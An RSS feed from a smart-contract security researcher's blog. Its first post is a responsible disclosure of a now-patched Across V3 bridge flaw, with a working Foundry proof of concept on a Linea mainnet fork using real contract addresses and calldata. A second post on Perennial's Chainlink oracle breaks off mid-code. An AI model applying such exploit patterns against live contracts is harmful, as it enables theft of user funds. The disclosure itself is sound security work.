<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>zachobront</title>
        <link>https://paragraph.com/@zachobront</link>
        <description>👁🔎🐞</description>
        <lastBuildDate>Sun, 29 Nov 2026 02:34:29 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>zachobront</title>
            <url>https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/55a86821c497d1a8e8227a5f7657bb6c300e4d379c41ba4c8ab17695999d186d.jpg</url>
            <link>https://paragraph.com/@zachobront</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Across V3: Cross Chain Action Vulnerability Disclosure]]></title>
            <link>https://paragraph.com/@zachobront/across-v3-cross-chain-action-vulnerability-disclosure</link>
            <guid>exdqHuMC4jQrkWsdpTx6</guid>
            <pubDate>Wed, 26 Feb 2025 03:06:46 GMT</pubDate>
            <description><![CDATA[Across V3 is a cross chain optimistic bridge. Users deposit assets on an origin chain, and relayers compete to immediately fulfill the request on the destination chain. At a slower pace, the protocol uses UMA’s Optimistic Oracle to validate relays, and LP funds are used to refund the relayers. On January 28th, 2025, deadrose and I discovered a High Severity vulnerability in the protocol that would allow the full value of certain transactions to be stolen from users by malicious relayers. To u...]]></description>
            <content:encoded><![CDATA[<p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://across.to/">Across V3</a> is a cross chain optimistic bridge. Users deposit assets on an origin chain, and relayers compete to immediately fulfill the request on the destination chain. At a slower pace, the protocol uses UMA’s Optimistic Oracle to validate relays, and LP funds are used to refund the relayers.</p><p>On January 28th, 2025, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://x.com/deadrosesxyz/">deadrose </a>and I discovered a High Severity vulnerability in the protocol that would allow the full value of certain transactions to be stolen from users by malicious relayers.</p><p>To understand the attack, there are two specific features of Across that are prerequisites.</p><h3 id="h-1-cross-chain-actions" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">1) Cross Chain Actions</h3><p>Rather than only allowing simple transfers between chains, Across also allows Cross Chain Actions, which allow users to automatically perform actions on the destination chain. This can, for example, be used to deposit funds directly into a lending protocol from another chain.</p><p>To do this, users set the receiver of their transfer to Across’s Multicall Handler and include the instructions to execute as a <code>message</code> along with the transaction:</p><pre data-type="codeBlock" text="bytes memory updatedMessage = relayExecution.updatedMessage;
if (updatedMessage.length &gt; 0 &amp;&amp; recipientToSend.isContract()) {
    AcrossMessageHandler(recipientToSend).handleV3AcrossMessage(
        outputToken,
        amountToSend,
        msg.sender,
        updatedMessage
    );
}
"><code><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> updatedMessage <span class="hljs-operator">=</span> relayExecution.updatedMessage;
<span class="hljs-keyword">if</span> (updatedMessage.<span class="hljs-built_in">length</span> <span class="hljs-operator">></span> <span class="hljs-number">0</span> <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> recipientToSend.isContract()) {
    AcrossMessageHandler(recipientToSend).handleV3AcrossMessage(
        outputToken,
        amountToSend,
        <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
        updatedMessage
    );
}
</code></pre><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/across-protocol/contracts/blob/d4c41a9188c3b02f7c6ea6c5d99e7278d907f290/contracts/SpokePool.sol#L1418-L1426">https://github.com/across-protocol/contracts/blob/d4c41a9188c3b02f7c6ea6c5d99e7278d907f290/contracts/SpokePool.sol#L1418-L1426</a></p><p>These instructions are passed (along with the tokens) to the Multicall Handler, where they are executed.</p><pre data-type="codeBlock" text="function handleV3AcrossMessage(
    address token,
    uint256,
    address,
    bytes memory message
) external nonReentrant {
    Instructions memory instructions = abi.decode(message, (Instructions));

    // If there is no fallback recipient, call and revert if the inner call fails.
    if (instructions.fallbackRecipient == address(0)) {
        this.attemptCalls(instructions.calls);
        return;
    }

    // Otherwise, try the call and send to the fallback recipient if any tokens are leftover.
    (bool success, ) = address(this).call(abi.encodeCall(this.attemptCalls, (instructions.calls)));
    if (!success) emit CallsFailed(instructions.calls, instructions.fallbackRecipient);

    // If there are leftover tokens, send them to the fallback recipient regardless of execution success.
    _drainRemainingTokens(token, payable(instructions.fallbackRecipient));
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleV3AcrossMessage</span>(<span class="hljs-params">
    <span class="hljs-keyword">address</span> token,
    <span class="hljs-keyword">uint256</span>,
    <span class="hljs-keyword">address</span>,
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> message
</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">nonReentrant</span> </span>{
    Instructions <span class="hljs-keyword">memory</span> instructions <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">decode</span>(message, (Instructions));

    <span class="hljs-comment">// If there is no fallback recipient, call and revert if the inner call fails.</span>
    <span class="hljs-keyword">if</span> (instructions.fallbackRecipient <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) {
        <span class="hljs-built_in">this</span>.attemptCalls(instructions.calls);
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-comment">// Otherwise, try the call and send to the fallback recipient if any tokens are leftover.</span>
    (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">call</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeCall</span>(<span class="hljs-built_in">this</span>.attemptCalls, (instructions.calls)));
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>success) <span class="hljs-keyword">emit</span> CallsFailed(instructions.calls, instructions.fallbackRecipient);

    <span class="hljs-comment">// If there are leftover tokens, send them to the fallback recipient regardless of execution success.</span>
    _drainRemainingTokens(token, <span class="hljs-keyword">payable</span>(instructions.fallbackRecipient));
}
</code></pre><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/across-protocol/contracts/blob/d4c41a9188c3b02f7c6ea6c5d99e7278d907f290/contracts/handlers/MulticallHandler.sol#L57-L77">https://github.com/across-protocol/contracts/blob/d4c41a9188c3b02f7c6ea6c5d99e7278d907f290/contracts/handlers/MulticallHandler.sol#L57-L77</a></p><h3 id="h-2-early-returns-for-self-relays" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">2) Early Returns for Self Relays</h3><p>A common situation is that relayers themselves want to move their funds from one chain to another.</p><p>Let&apos;s say a relayer has too much of a token on OP Mainnet and not enough on Base, so they want to rebalance.</p><ul><li><p>They could use the protocol like any other user, trusting another relayer to send them funds, but this requires paying the other relayer.</p></li><li><p>They could use the native OP Mainnet slow bridge, but this requires waiting a week and remembering to promptly execute the later transactions.</p></li></ul><p>The simpler solution is to relay themselves. Ideally, they could send the funds on OP Mainnet, send themselves the funds on Base (which nets out to a zero transfer). Later, they are refunded by the protocol for acting as the relay and get the funds on the chain they’d like.</p><p>The problem is that, for this flow to work, they need funds on Base to send to themselves. In many situations, this might not be the case.</p><p>To assist in this situation, Across allows a relayer who relays for themselves skip the need to uselessly send tokens to themself, and the function simply returns early.</p><pre data-type="codeBlock" text="if (msg.sender == recipientToSend &amp;&amp; !isSlowFill) return;
"><code><span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> recipientToSend <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> <span class="hljs-operator">!</span>isSlowFill) <span class="hljs-keyword">return</span>;
</code></pre><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/across-protocol/contracts/blob/d4c41a9188c3b02f7c6ea6c5d99e7278d907f290/contracts/SpokePool.sol#L1398">https://github.com/across-protocol/contracts/blob/d4c41a9188c3b02f7c6ea6c5d99e7278d907f290/contracts/SpokePool.sol#L1398</a></p><h3 id="h-the-issue" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Issue</h3><p>The problem comes from the assumption that any time a recipient acts as a relay, there is no need to perform execution.</p><p>While this is usually true, there is one exception: <strong>Cross Chain Actions</strong>.</p><p>In the case that a user sets the Multicall Handler as their recipient, a malicious relayer is able to relay via the Multicall Handler as well (because it can execute arbitrary actions). This would set <code>msg.sender == MulticallHandler</code>, and would result in all token transfers and calls being skipped.</p><p>From the user&apos;s perspective, their funds would simply not arrive on the destination chain, while their relay would be marked as filled.</p><p>Specifically, an attack would look as follows:</p><ol><li><p>A user performs a cross chain action using the Multicaller contract. Their funds are deposited on the origin chain.</p></li><li><p>On the destination chain, a malicious relayer calls the Multicaller contract and uses it to call <code>fillV3Relay()</code>, setting the same chain as the repayment chain. The result is that the token transfer and message execution are skipped, but the relay is marked as filled.</p></li><li><p>All other relayers will consider the relay as filled. There is no suspicious behavior from the protcol&apos;s perspective.</p></li><li><p>When the relayer refund root is added (on the same chain) shortly thereafter, one of the leaves will entitle the Multicaller contract to claim the relayer refund.</p></li><li><p>The attacker can then call <code>executeRelayerRefundLeaf()</code> via the Multicaller contract, which will claim the funds. It then drains all funds it holds to the attacker at the end of the transaction.</p></li></ol><h3 id="h-proof-of-concept" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Proof of Concept</h3><p>Below is a coded POC on a fork of Linea Mainnet, using a recent Multicaller relay as an example. It can be run as a standalone script using Foundry to demonstrate the attack:</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test, console } from &quot;forge-std/Test.sol&quot;;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface MulticallHandler {
    struct Call {
        address target;
        bytes callData;
        uint256 value;
    }

    struct Instructions {
        //  Calls that will be attempted.
        Call[] calls;
        // Where the tokens go if any part of the call fails.
        // Leftover tokens are sent here as well if the action succeeds.
        address fallbackRecipient;
    }

    function handleV3AcrossMessage(
        address token,
        uint256,
        address,
        bytes memory message
    ) external;
}

contract AcrossMulticallRelayTest is Test {
    function testMulticallRelayBrick() public {
        // we will use a real relay on Linea as an example
        vm.createSelectFork(&quot;https://linea-mainnet.g.alchemy.com/v2/DS-3fhp9Y9_euXtDzTd-pu87hz06k3mM&quot;, 14887448);
        SpokePool spokePool = SpokePool(0x7E63A5f1a8F0B4d0934B2f2327DAED3F6bb2ee75);
        MulticallHandler multicall = MulticallHandler(0x1015c58894961F4F7Dd7D68ba033e28Ed3ee1cDB);
        IERC20 weth = IERC20(0xe5D7C2a44FfDDf6b295A15c148167daaAf5Cf34f);
        address user = 0x5cBD95991433E4C61cEF5CadEe32593129a2fD10;
        // from: https://lineascan.build/tx/0x920e61ab19532effdefc09aeb2945dc927a339cc21c41e0a91dc6c876a08495d
        bytes memory cd = hex&quot;2e3781150000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000e7080000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000001015c58894961f4f7dd7d68ba033e28ed3ee1cdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000082af49447d8a07e3bd95bd0d56f35241523fbab1000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f0000000000000000000000000000000000000000000000000000b5e620f480000000000000000000000000000000000000000000000000000000a7b9c2392b07000000000000000000000000000000000000000000000000000000000000a4b100000000000000000000000000000000000000000000000000000000002d89120000000000000000000000000000000000000000000000000000000067908e22000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000400000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000200000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a9059cbb0000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000000000000000000000000000000000a6e311e466f900000000000000000000000000000000000000000000000000000000000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000242e1a7d4d000000000000000000000000000000000000000000000000000000d6b054c40e000000000000000000000000000000000000000000000000000000000000000000000000000000001cf26eabc8f892d6056085fb8834d478b3ae052b0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000d6b054c40e0000000000000000000000000000000000000000000000000000000000000000&quot;;

        // if we execute normally, the call works and transfers funds to the user
        uint beforeState = vm.snapshot();
        console.log(&quot;Running simluation of normal call&quot;);

        // we need weth to act as relayer to demonstrate this
        deal(address(weth), address(this), 1e18);
        weth.approve(address(spokePool), 1e18);

        uint userBalanceBefore = weth.balanceOf(address(user));
        address(spokePool).call(cd);
        console.log(&quot;User balance increased by: &quot;, weth.balanceOf(user) - userBalanceBefore);

        // now let&apos;s demonstrate the attack
        vm.revertTo(beforeState);
        console.log(&quot;********\nRunning simluation of attack&quot;);

        // we relay via the multicaller
        MulticallHandler.Call[] memory calls = new MulticallHandler.CallUnsupported embed;
        calls[0] = MulticallHandler.Call({
            target: address(spokePool),
            callData: cd,
            value: 0
        });
        MulticallHandler.Instructions memory instructions = MulticallHandler.Instructions({
            calls: calls,
            fallbackRecipient: address(this)
        });
        multicall.handleV3AcrossMessage(address(weth), 0, address(0), abi.encode(instructions));

        // now the user didn&apos;t get paid at all
        console.log(&quot;User balance increased by: &quot;, weth.balanceOf(user) - userBalanceBefore);

        // and the order is filled and can&apos;t be called normally anymore
        (bool success, bytes memory returndata) = address(spokePool).call(cd);
        bytes4 actualError;
        assembly {
            actualError := mload(add(returndata, 32))
        }
        bytes4 expectedError = bytes4(keccak256(&quot;RelayFilled()&quot;));
        assert(!success &amp;&amp; actualError == expectedError);
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> { <span class="hljs-title">Test</span>, <span class="hljs-title">console</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IERC20</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">MulticallHandler</span> </span>{
    <span class="hljs-keyword">struct</span> <span class="hljs-title">Call</span> {
        <span class="hljs-keyword">address</span> target;
        <span class="hljs-keyword">bytes</span> callData;
        <span class="hljs-keyword">uint256</span> value;
    }

    <span class="hljs-keyword">struct</span> <span class="hljs-title">Instructions</span> {
        <span class="hljs-comment">//  Calls that will be attempted.</span>
        Call[] calls;
        <span class="hljs-comment">// Where the tokens go if any part of the call fails.</span>
        <span class="hljs-comment">// Leftover tokens are sent here as well if the action succeeds.</span>
        <span class="hljs-keyword">address</span> fallbackRecipient;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleV3AcrossMessage</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span>,
        <span class="hljs-keyword">address</span>,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> message
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AcrossMulticallRelayTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testMulticallRelayBrick</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-comment">// we will use a real relay on Linea as an example</span>
        vm.createSelectFork(<span class="hljs-string">"https://linea-mainnet.g.alchemy.com/v2/DS-3fhp9Y9_euXtDzTd-pu87hz06k3mM"</span>, <span class="hljs-number">14887448</span>);
        SpokePool spokePool <span class="hljs-operator">=</span> SpokePool(<span class="hljs-number">0x7E63A5f1a8F0B4d0934B2f2327DAED3F6bb2ee75</span>);
        MulticallHandler multicall <span class="hljs-operator">=</span> MulticallHandler(<span class="hljs-number">0x1015c58894961F4F7Dd7D68ba033e28Ed3ee1cDB</span>);
        IERC20 weth <span class="hljs-operator">=</span> IERC20(<span class="hljs-number">0xe5D7C2a44FfDDf6b295A15c148167daaAf5Cf34f</span>);
        <span class="hljs-keyword">address</span> user <span class="hljs-operator">=</span> <span class="hljs-number">0x5cBD95991433E4C61cEF5CadEe32593129a2fD10</span>;
        <span class="hljs-comment">// from: https://lineascan.build/tx/0x920e61ab19532effdefc09aeb2945dc927a339cc21c41e0a91dc6c876a08495d</span>
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> cd <span class="hljs-operator">=</span> <span class="hljs-string">hex"2e3781150000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000e7080000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000001015c58894961f4f7dd7d68ba033e28ed3ee1cdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000082af49447d8a07e3bd95bd0d56f35241523fbab1000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f0000000000000000000000000000000000000000000000000000b5e620f480000000000000000000000000000000000000000000000000000000a7b9c2392b07000000000000000000000000000000000000000000000000000000000000a4b100000000000000000000000000000000000000000000000000000000002d89120000000000000000000000000000000000000000000000000000000067908e22000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000400000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000200000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a9059cbb0000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000000000000000000000000000000000a6e311e466f900000000000000000000000000000000000000000000000000000000000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000242e1a7d4d000000000000000000000000000000000000000000000000000000d6b054c40e000000000000000000000000000000000000000000000000000000000000000000000000000000001cf26eabc8f892d6056085fb8834d478b3ae052b0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000d6b054c40e0000000000000000000000000000000000000000000000000000000000000000"</span>;

        <span class="hljs-comment">// if we execute normally, the call works and transfers funds to the user</span>
        <span class="hljs-keyword">uint</span> beforeState <span class="hljs-operator">=</span> vm.snapshot();
        console.log(<span class="hljs-string">"Running simluation of normal call"</span>);

        <span class="hljs-comment">// we need weth to act as relayer to demonstrate this</span>
        deal(<span class="hljs-keyword">address</span>(weth), <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-number">1e18</span>);
        weth.approve(<span class="hljs-keyword">address</span>(spokePool), <span class="hljs-number">1e18</span>);

        <span class="hljs-keyword">uint</span> userBalanceBefore <span class="hljs-operator">=</span> weth.balanceOf(<span class="hljs-keyword">address</span>(user));
        <span class="hljs-keyword">address</span>(spokePool).<span class="hljs-built_in">call</span>(cd);
        console.log(<span class="hljs-string">"User balance increased by: "</span>, weth.balanceOf(user) <span class="hljs-operator">-</span> userBalanceBefore);

        <span class="hljs-comment">// now let's demonstrate the attack</span>
        vm.revertTo(beforeState);
        console.log(<span class="hljs-string">"********\nRunning simluation of attack"</span>);

        <span class="hljs-comment">// we relay via the multicaller</span>
        MulticallHandler.Call[] <span class="hljs-keyword">memory</span> calls <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> MulticallHandler.CallUnsupported embed;
        calls[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> MulticallHandler.Call({
            target: <span class="hljs-keyword">address</span>(spokePool),
            callData: cd,
            <span class="hljs-built_in">value</span>: <span class="hljs-number">0</span>
        });
        MulticallHandler.Instructions <span class="hljs-keyword">memory</span> instructions <span class="hljs-operator">=</span> MulticallHandler.Instructions({
            calls: calls,
            fallbackRecipient: <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)
        });
        multicall.handleV3AcrossMessage(<span class="hljs-keyword">address</span>(weth), <span class="hljs-number">0</span>, <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(instructions));

        <span class="hljs-comment">// now the user didn't get paid at all</span>
        console.log(<span class="hljs-string">"User balance increased by: "</span>, weth.balanceOf(user) <span class="hljs-operator">-</span> userBalanceBefore);

        <span class="hljs-comment">// and the order is filled and can't be called normally anymore</span>
        (<span class="hljs-keyword">bool</span> success, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> returndata) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(spokePool).<span class="hljs-built_in">call</span>(cd);
        <span class="hljs-keyword">bytes4</span> actualError;
        <span class="hljs-keyword">assembly</span> {
            actualError <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(returndata, <span class="hljs-number">32</span>))
        }
        <span class="hljs-keyword">bytes4</span> expectedError <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes4</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"RelayFilled()"</span>));
        <span class="hljs-built_in">assert</span>(<span class="hljs-operator">!</span>success <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> actualError <span class="hljs-operator">=</span><span class="hljs-operator">=</span> expectedError);
    }
}
</code></pre><h3 id="h-the-fix" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Fix</h3><p>Upon receiving the report of this issue, the Across team took immediate and professional action.</p><p>After analyzing the situation (and the risks that other contracts besides the MulticallHandler could be used to perform similar functionality), they ultimately determined that the safest fix would be to eliminate early returns for self-relays altogether.</p><p>Within hours, Spoke Pools on all chains had been patched.</p><pre data-type="codeBlock" text="- if (msg.sender == recipientToSend &amp;&amp; !isSlowFill) return;
"><code><span class="hljs-operator">-</span> <span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> recipientToSend <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> <span class="hljs-operator">!</span>isSlowFill) <span class="hljs-keyword">return</span>;
</code></pre><p>We want to thank the Across team for their professionalism, diligence, and generous bounty. They clearly prioritize security, and we&apos;re grateful to have had the chance to work with them.</p>]]></content:encoded>
            <author>zachobront@newsletter.paragraph.com (zachobront)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/9b42b2f4ec8b4ac0a65920a1f970eff0ca355ff16a58d619c2ae313f3d65ec0f.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[The Napping Oracle]]></title>
            <link>https://paragraph.com/@zachobront/the-napping-oracle</link>
            <guid>GZnptjIVSc8H7hFiw1o9</guid>
            <pubDate>Tue, 28 Feb 2023 21:41:56 GMT</pubDate>
            <description><![CDATA[Perennial is a derivatives primitive that allows for the creation of two-sided markets that trade exposure to an underlying price feed. In other words, each epoch, Chainlink price feeds are used to determine the winning side of the market, and transfer assets from one side to the other. I saw they’d recently launched a bounty on Immunefi, and since there was a lull in Sherlock contests and I had a couple free days, I decided to take a look.How It WorksThe protocol runs in epochs called “versi...]]></description>
            <content:encoded><![CDATA[<p>Perennial is a derivatives primitive that allows for the creation of two-sided markets that trade exposure to an underlying price feed. In other words, each epoch, Chainlink price feeds are used to determine the winning side of the market, and transfer assets from one side to the other.</p><p>I saw they’d recently launched a bounty on Immunefi, and since there was a lull in Sherlock contests and I had a couple free days, I decided to take a look.</p><h2 id="h-how-it-works" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How It Works</h2><p>The protocol runs in epochs called “versions”. Each version occurs when Chainlink releases new data on the price feed, and the protocol updates and adjusts balances accordingly.</p><p>Without getting too much into the details:</p><ul><li><p>The <code>settle()</code> function is called by all important protocol level actions (or can be called by any external actor) and kicks off the global settlement flywheel.</p></li><li><p>The Oracle grabs the latest data from Chainlink and converts it into an OracleVersion struct.</p></li><li><p>If we&apos;re in a new round (with special logic for if multiple rounds have passed), we settle up positions, fees, and collateral balances at the &quot;product&quot; level.</p></li><li><p>Whenever important protocol actions are taken at the account level, it calls <code>_settle()</code> to ensure the global flywheel is up to date, and then settles up the individual account to ensure it&apos;s in line with the product level.</p></li></ul><h2 id="h-the-chainlink-oracle" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Chainlink Oracle</h2><p>I quickly turned my attention to the Chainlink Oracle.</p><p>The first thing that jumped out was a strange source of complexity. Perennial uses “versions” to represent the chunks of new data, but Chainlink organizes their rounds slightly differently, so there was some translation that needed to happen.</p><h2 id="h-chainlink-round-ids" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Chainlink Round IDs</h2><p>What exactly does Round ID mean on Chainlink? When you’re querying an aggregator directly, Round ID is a simple ever-increasing value.</p><p>However, when you query a proxy, there needs to be a way to differentiate which aggregator it’s from.</p><p>The way Chainlink accomplishes this is that they use the least significant 64 bits for the round ID, and use the most significant 16 bits to store which “phase” the price feed is in (in other words, which aggregator to use).</p><p>This means you can take <code>roundId &gt;&gt; 64</code> and it will return the phase.</p><p>Similarly, we can take <code>roundId | type(uint64).max</code> and it will return the round ID within the given phase.</p><p>The <code>roundId</code> is a <code>uint80</code> (10 bytes), so you can picture it like <code>0xPPRRRRRRRR</code>, where <code>P</code> is phase and <code>R</code> is round.</p><p>This makes sense, but the result is that the numerical values of these round IDs can vary wildly. Adding a 1 as the 65th most significant bit represents adding 2^64 to the number, so these values aren’t very easy to work with.</p><p>(source: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.chain.link/data-feeds/price-feeds/historical-data">https://docs.chain.link/data-feeds/price-feeds/historical-data</a>)</p><h2 id="h-perennial-versions" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Perennial Versions</h2><p>What Perennial wanted to accomplish was to have their “version” number increment by 1 each round, regardless of whether there was a new Chainlink phase.</p><p>They accomplished this as follows:</p><ul><li><p>They store an array called <code>_startingVersionForPhaseId</code>, which begins with a value of [0, 0].</p></li><li><p>Each new Chainlink phase, they store the version that corresponds to the first round of that phase. For example, if there is a new phase that starts in the 20th round, the array becomes <code>_startingVersionForPhaseId = [0, 0, 20]</code>.</p></li><li><p>For any future round ID returned by Chainlink, they can calculate the phase (using <code>round &gt;&gt; 64</code>), find the starting version for that phase (using the position in the array), determine which round we are on within that phase (using <code>roundId | type(uint64).max</code>), and add the starting version for the phase to the round within the phase to get the current version.</p></li><li><p>The result is that we can easily calculate version from round ID.</p></li></ul><p>So, whenever the phase ID has increased, we need to add a new value to <code>_startingVersionForPhaseId</code>. Here&apos;s how this is implemented in Perennial&apos;s code:</p><pre data-type="codeBlock" text="while (round.phaseId() &gt; _latestPhaseId()) {
   uint256 roundCount = registry.getRoundCount(base, quote, _latestPhaseId());
   _startingVersionForPhaseId.push(roundCount);
}
"><code><span class="hljs-keyword">while</span> (round.phaseId() <span class="hljs-operator">></span> _latestPhaseId()) {
   <span class="hljs-keyword">uint256</span> roundCount <span class="hljs-operator">=</span> registry.getRoundCount(base, quote, _latestPhaseId());
   _startingVersionForPhaseId.<span class="hljs-built_in">push</span>(roundCount);
}
